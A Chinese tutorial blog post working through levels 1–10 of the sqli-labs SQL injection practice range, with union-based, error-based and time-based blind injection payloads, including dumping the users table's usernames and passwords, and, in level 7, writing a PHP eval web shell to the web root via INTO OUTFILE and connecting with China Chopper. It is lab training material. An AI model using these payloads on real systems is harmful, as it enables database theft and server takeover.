注入双括号报错注入_SQL手动注入:sqlilabs(less110)

种一棵树最好的时间是10年前,其次是现在。

忘了是谁
a8dd64442640e8d6f3204d4751535ab1.png

前言

说实话,由于前段时间学 python ,对于 OWASP TOP10 漏洞的学习都有所落下,虽然现在也在慢慢复习当中,但是今晚谈及的 SQL 注入漏洞手动注入和自动化(sqlmap)注入的一些知识时,不免有些语塞,有些命令都已经开始淡忘,想想得补一补,于是就打算拿 sqli-labs 这个SQL 注入专属练习靶场来重温一下,顺便把之前写得博文搬到公众号上来。

猪(鄙夷的目光):文字的搬运工。。。

4f4fc37433e9f945b14ecd1e89bb002b.png

匠(挠挠头d3de483a8c2e2cb9410195e710b18611.png):后续对于这个靶场的自动化(sqlmap)注入姿势也总结一下吧,顺便复习一下 sqlmap 。

ce5723238f81fda8165cf916606cf909.png

a8dd64442640e8d6f3204d4751535ab1.png

环境准备

phpstydy 

firefox 浏览器

HackBar 插件

sqli-labs 源码

sublime  

中国菜刀

hackbar 插件新版的要钱,可以去下载旧版的,或者有其他替代品,功能也差不多

a8dd64442640e8d6f3204d4751535ab1.png

less1

源码分析
  1. 采用 get 方法接收用户输入

  2. 单引号闭合参数

  3. 参数拼接 sql 语句进行数据库查询

623cc2f24106321d012e3cb4dc2ef47d.png

漏洞利用

01

查看数据表列数 

猜测列数为 3 ,回显正常

index.php?id=1' order by 3 --+

6109185a2bbf8e209d3ca39301f9e575.png

猜测列数为 4 ,出现错误,说明当前数据表列数为 3 。

58562fbbf40fd98f73195d34362b2b40.png

02

union查询

MySQL5.0 之后有一个 information_schema 数据库

查看回显位,可以得知数字 2 和 3 可以回显。

index.php?id=0' union select 1,2,3 --+

ecd219a54ebc18ad8359d72478110213.png

利用回显位查看数据库相关信息

index.php?id=0' union select 1,version(),database() --+

9d30b8db8a0f2c1d8667a27fe924d953.png

爆出 security 的所有表

index.php?id=0' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),database() --+

d4d44cd5e73c02db324d732d1f22f589.png

查看 users 表下的所有列

index.php?id=0' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),database() --+

baa0f152b856d91fe396e4850a903f5d.png

查看 users 表下的所有数据

index.php?id=0' union select 1,(select group_concat(username,'-') from security.users),(select group_concat(password) from security.users) --+

55da87f1f06334d08582e284badda02a.png

a8dd64442640e8d6f3204d4751535ab1.png

less2

源码分析
  1.  直接获取用户输入

  2. sql 语句拼接

9987dd6d876d4af2cbaac478791b1fa6.png

漏洞利用

和 Less1 相比就是在进行 sql 语句拼接的时候没有对参数进行单引号引用。思路和 Less1 一样,就是不用闭合单引号和注释后面无关内容而已。

01

union注入

index.php?id=0 union select 1,2,3

c05d998fe9a98711c33c27595cc34ec5.png

a8dd64442640e8d6f3204d4751535ab1.png

less3

源码分析
  1.  直接说去用户输入

  2. 拼接 sql 语句时将参数用单引号+括号进行引用

15b4b85a1a5b5dc442fa1f78528d7e71.png

漏洞利用

对单引号和括号进行闭合即可,同时使用注释符将无用部分注释掉,注入思路和 Less1 一样。

01

union注入

index.php?id=0') union select 1,2,3 --+

92fe0877fba39bdfc6ce999a5b4d5df3.png

a8dd64442640e8d6f3204d4751535ab1.png

less4

源码分析
  1.  直接获取用户输入

  2. 对参数进行双引号+括号引用

17ad271f6314fee3f4e197f10fefd2d5.png

漏洞利用

对双引号和括号进行闭合,注入思路和 Less 1 一样。

a8dd64442640e8d6f3204d4751535ab1.png

less5

源码分析
  1.  直接获取用户输入

  2. 对参数进行单引号引用

  3. 没有数据回显

  4. 有错误信息回显

dc8dd5eb43f155816b2e897523e1ac7a.png

漏洞利用

01

报错注入

报错注入会涉及三个函数 floor、updatexml、extractvalue。

MySQL_v5.0.96 还有 floor 报错注入,高版本的没有。

MySQL 5.1.5 版本种添加了对 XML 文档进行查询和修改的两个函数:extractvalue 和 updatexml 。

三个函数的运用格式如下:

floor

select 1 from (select count(*), concat((database()),floor(rand(0)*2))x from information_schema.tables group by x)a

updatexml

updatexml(1,concat(0x7e,(database()),0x7e),1)

extractvalue

extractvalue(1,concat(0x7e,(database()),0x7e))

这里主要拿 floor 函数来做演示。可以拆分为几部分方便记忆。

select 1 from( i )ai = select count(*),concat( j )x from information_schema.tables group by xj = payload,floor(rand(0)*2)

显示当前数据库

index.php?id=0' and (select 1 from(select count(*),concat((database()),floor(rand(0)*2))x from information_schema.tables group by x)a) --+

fd33066bfaba7fbd199ac7e774180962.png

显示当前数据库下所有表,这里使用 group_concat() 显示所有表,出现错误 “信息超过一行” 。

index.php?id=1' and (select 1 from(select count(*),concat((select table_name from information_schema.tables where table_schema='security' limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) --+

67173c5413b2d731abe2162a52b40871.png

使用 limit 一个一个显示出来。

ps: 这里的 limit 0,1 代表第一个数据;limit 1,1 代表第二个数据

index.php?id=1'and (select 1 from(select count(*),concat((select table_name from information_schema.tables where table_schema='security' limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) --+

a77cdddc9681539c4ef7885d06323080.png

a8dd64442640e8d6f3204d4751535ab1.png

less6

源码分析
  1. 直接获取用户输入

  2. 双引号应用参数

  3. 没有数据信息回显

  4. 有错误信息回显

漏洞利用

相比于 Less 5,这里的参数用双引号引用,注意双引号闭合,注释符的使用即可,解题思路和 Less 5 一样。

a8dd64442640e8d6f3204d4751535ab1.png

less7

源码分析
  1. 直接获取用户参数

  2. 用双括号+双引号引用参数

  3. 没有数据信息回显

  4. mysql_error()函数被注释

b5e5b592876d6bf404864d4a6ee67160.png

漏洞利用

页面提示我们 outfile 命令写入木马文件

c4582bd12d6b683ed4b3badaaaa8332c.png

这种方法的关键之处在于知道网站在系统的绝对路径和能够找到写入文件的路径,之后用菜刀进行连接。

注:反斜杠 \ 是转义字符,这里使用双反斜杠 \\ 表示反斜杠;也可以使用正斜杠 / 代替反斜杠;也开始使用 r 将引号里面的内容定义为字符串,如:r"C:\\phpStudy2013\\WWW\\script.php"

index.php?id=-1')) union select 1,"<?php  @eval($_POST['pass']);?>",3 into outfile "C:\\phpStudy2013\\WWW\\script.php" --+

fd8afd53beb1f5f9d85d3762e2a31610.png

之后访问上传的一句话文件。

f8e507bf4ad81e424c565bfeee783449.png

使用菜刀连接

bc27c07391016e6e7d48754f989bbaf2.png

07712f71c6fd8ba97ca4f5d22ab684fa.png

a8dd64442640e8d6f3204d4751535ab1.png

less8

源码分析
  1. 直接获取用户参数

  2. 单引号引用参数

  3. 没有数据信息回显

  4. 也没有错误信息回显

4217d9a89fc03275430e4dafe44c4cb0.png

漏洞利用

01

时间盲注

没有错误信息回显,那报错注入的方法就行不通,可以试一试时间盲注。

判断时间盲注的方法先是id=1' or sleep(1) # ,如果延时则存在延时注入

时间盲注的格式如下:

if((判断条件),(条件为 true 时执行),(条件为 false 执行))

if(ascii(substring(database()),1,1)=115,sleep(1),1)

猜测当前数据库,若当前数据库的第一个字母的 ASCII码大于0,则延时5秒。

index.php?id=1' and if(ascii(substring(database(),1,1))>0,sleep(5),1) --+

4d07dc5d3be6e957cf89caa6bde0ed72.png

猜测得出第一个字母位's',ascii(s) = 115

index.php?id=1' and if(ascii(substring(database(),1,1))=115,sleep(5),1) --+

以此类推去猜,费劲,一般报错注入/时间盲注这些比较费时的操作都交给 sqlmap 去自动化注入比较省事。

a8dd64442640e8d6f3204d4751535ab1.png

less9

源码分析
  1. 直接获取用户输入

  2. 单引号引用,参数拼接

  3. 没有数据回显

  4. 没有错误信息回显

4099c4b6c29f679fe3e90f9e5796d1a1.png

漏洞利用

时间盲注,注意单引号闭合,思路和 Less 8 一样。

a8dd64442640e8d6f3204d4751535ab1.png

less10

源码分析
  1. 直接获取用户参数

  2. 双引号引用参数进行 sql 语句拼接

  3. 没有数据回显

  4. 没有错误信息回显

e16fd75e6aa0f3c8ee11486118c64cf0.png

漏洞利用

时间盲注,注意双引号的闭合,注入思路和 Less 8 一样。

a8dd64442640e8d6f3204d4751535ab1.png

尾声

我是匠心,一个在清流旁默默磨剑的匠人,希望有一天能利刃出鞘,仗剑走江湖。

94fa4a967a76f1d813942bfe9807b745.png

好文!必须在看

留言区

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值